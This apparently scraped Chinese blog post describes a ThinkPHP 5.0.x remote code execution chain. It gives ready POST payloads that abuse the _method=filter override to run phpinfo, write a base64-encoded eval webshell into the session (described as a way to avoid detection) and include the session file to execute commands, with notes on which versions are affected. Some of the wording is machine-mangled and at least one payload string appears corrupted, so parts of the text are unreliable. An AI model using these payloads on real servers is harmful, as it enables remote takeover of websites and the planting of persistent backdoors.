首页 » 网站推广 » php带cookiespost技巧_TP5 RCE运用链改造

php带cookiespost技巧_TP5 RCE运用链改造

duote123 2024-10-24 0

扫一扫用手机浏览

文章目录 [+]

因此布局POC如下

post : 0=error_reporting&1=phpinfo&_method=filterfilter链为

POST->error_reporting->phpinfo->输出信息成功实行phpinfo

2. 写入session直策应用think\Session::set即可将经由filter链的数据全部写入,防止查杀,添加一个base64编码POC

POST/index.php?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg==0=base64_decode&1=think\Session::set&2=error_reporting&_method=filterfilter链为

输入数据->bases64_decode->think\Session::set->写入session成功写入

php带cookiespost技巧_TP5 RCE运用链改造

3. 包含session包含不存在的文件时,会报错,导致程序停滞运行,因此,必须在第一个参数POST进入filter链的时候,进行文件包含此处的难点就转变为了将POST字符转换为文件名经由查找,创造\think\Cookie::get方法可以返回Cookie中的字符串,从而得到文件名布局POC

POST /index.phpCookie: POST=session文件名0=\think\Cookie::get&1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbytgpOw==成功实行命令

php带cookiespost技巧_TP5 RCE运用链改造
(图片来自网络侵删)
未开启debug模式暂未找到利用链创造一个有趣的征象,在此记录一下当程序实行流程中发生Error时,error_handler会触发利用链关闭APP_DEBUG在route.php文件中引入缺点发送payload,即可成功触发缘故原由\think\Error类中的appError方法在处理缺点的过程中,会对参数进行网络,从而触发filter链其他如果可以在注册完filter链之后,引起框架error便可以触发payload可惜暂时未能找到引起框架error的方法其它版本5.0.21~5.0.23之间:以上payload均适用5.0其它版本须要变动包含session的payload

POST/index.php?a=C:/phpstudy_pro/Extensions/tmp/tmp/sess_v6mip0bjhb29prtsiv69f12j931=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbygpOw==

申明:本文仅供技能互换,请自觉遵守网络安全干系法律法规,切勿利用文章内的干系技能从事造孽活动,如因此产生的统统不良后果与文章作者无关 本文原创作者:yukidddd

标签:

相关文章